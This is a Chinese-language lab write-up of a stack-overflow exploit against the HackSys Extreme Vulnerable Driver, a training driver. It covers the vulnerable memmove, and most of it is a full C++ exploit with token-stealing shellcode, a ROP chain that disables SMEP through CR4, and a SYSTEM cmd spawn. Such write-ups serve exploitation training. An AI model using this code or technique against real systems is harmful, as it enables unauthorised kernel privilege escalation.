Windows kernel exploit - HEVD Stack Overflow

HEVD 环境搭建

安装Visual Studio 2022、cmake、git cli,然后从https://github.com/hacksysteam/HackSysExtremeVulnerableDriver 下载源码,然后用内置的bat脚本编译即可。

栈溢出

定位

HEVD直接把漏洞点写在了函数名上,用IDA打开HEVD.sys文件,会直接定位到DriverEntry,用于打印调试信息和初始化设备(Device)。

IrpDeviceIoCtlHandler函数里定义了可供User mode程序使用的IOCTL请求。其中,IOCTL Code为0x222003时,对应的是BufferOverflowStackIoctlHandler。

分析

BufferOverflowStackIoctlHandler本身没有栈溢出,但是它调用了TriggerBufferOverflowStack。TriggerBufferOverflowStack函数用于读取User mode发送的buffer并将其复制到栈上的KernelBuffer中。

栈溢出的根源在于调用memmove时没有考虑到KernelBuffer最大只有2048字节,我们可以控制memmove的Size参数的值从而栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall TriggerBufferOverflowStack(void *UserBuffer, size_t Size)
{
char v5[2048]; // [rsp+20h] [rbp-818h] BYREF

memset(v5, 0, sizeof(v5));
ProbeForRead(UserBuffer, 2048ui64, 1u);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%zX\n", Size);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", v5);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%zX\n", 2048ui64);
DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
memmove(v5, UserBuffer, Size);
return 0i64;
}

利用

这里我们的利用想法也很简单,通过栈溢出修改return address来执行任意代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <Psapi.h>
#include <format>

#define _BUFFER_SIZE 256
const uint8_t shellcodeBuffer[_BUFFER_SIZE] = {
0x90, 0x90, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00,
0x00, 0x48, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89,
0xc0, 0x4d, 0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81,
0xe8, 0x48, 0x04, 0x00, 0x00, 0x4d, 0x8b, 0x88, 0x40, 0x04,
0x00, 0x00, 0x49, 0x83, 0xf9, 0x04, 0x75, 0xe5, 0x49, 0x8b,
0x88, 0xb8, 0x04, 0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89,
0x88, 0xb8, 0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04, 0x25,
0x88, 0x01, 0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01, 0x00,
0x00, 0x66, 0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00,
0x00, 0x48, 0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b,
0x8a, 0x68, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01,
0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x48,
0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01,
0xf8, 0x48, 0x0f, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};

UINT64 get_baseaddr(LPCWSTR drv_name)
{
LPVOID drivers[512];
DWORD cbNeeded = 0;
int nDrivers = 0, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
WCHAR cur_name[513] = { 0 };
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++)
{
if (GetDeviceDriverBaseName(drivers[i], cur_name, sizeof(cur_name)) && !wcscmp(cur_name, drv_name))
{
return (UINT64)drivers[i];
}
}
}
return 0;
}

int main()
{
HANDLE hFile = CreateFile(
L"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
);
if ((!hFile) || hFile == INVALID_HANDLE_VALUE)
{
std::cout << "[-] Cannot open device." << std::endl;
return 0;
}
std::cout << "[+] Open device...Ok" << std::endl;
UINT64 NTOSKRNL_BASE = get_baseaddr(L"ntoskrnl.exe");
std::cout << std::format("ntoskrnl.exe at {:#x}", NTOSKRNL_BASE) << std::endl;
UINT64 MOV_CR4_RCX = NTOSKRNL_BASE + 0x39eb47;
UINT64 POP_RCX = NTOSKRNL_BASE + 0x20c64c;
UINT64 CR4 = 0x0000000000370678;
DWORD nShellcodeSize = 1024;
DWORD nInBufferSize = 2048 + 24 + 100;
LPVOID lpInBuffer = VirtualAlloc(NULL, nInBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
LPVOID shellcode = VirtualAlloc(NULL, nShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
BOOL bResult = FALSE;
DWORD bytesReturned = 0;
UINT64* rop = (UINT64*)((UINT64)lpInBuffer + 2048 + 24);
UINT64 rop_index = 0;

// fill buffer and shellcode with real content
RtlFillMemory(lpInBuffer, nInBufferSize, '\x90');
CopyMemory(shellcode, shellcodeBuffer, sizeof(shellcodeBuffer));
// set rop
rop[rop_index++] = POP_RCX;
rop[rop_index++] = CR4 ^ ((UINT64)1 << 20);
rop[rop_index++] = MOV_CR4_RCX;
rop[rop_index++] = (UINT64)shellcode;

bResult = DeviceIoControl(
hFile,
0x222003,
lpInBuffer,
nInBufferSize,
NULL,
0,
&bytesReturned,
NULL
);
if (!bResult)
{
std::cout << "[-] Cannot control device." << std::endl;
return 0;
}
std::cout << "[+] Control device...Ok" << std::endl;
std::system("cmd");
return 0;
}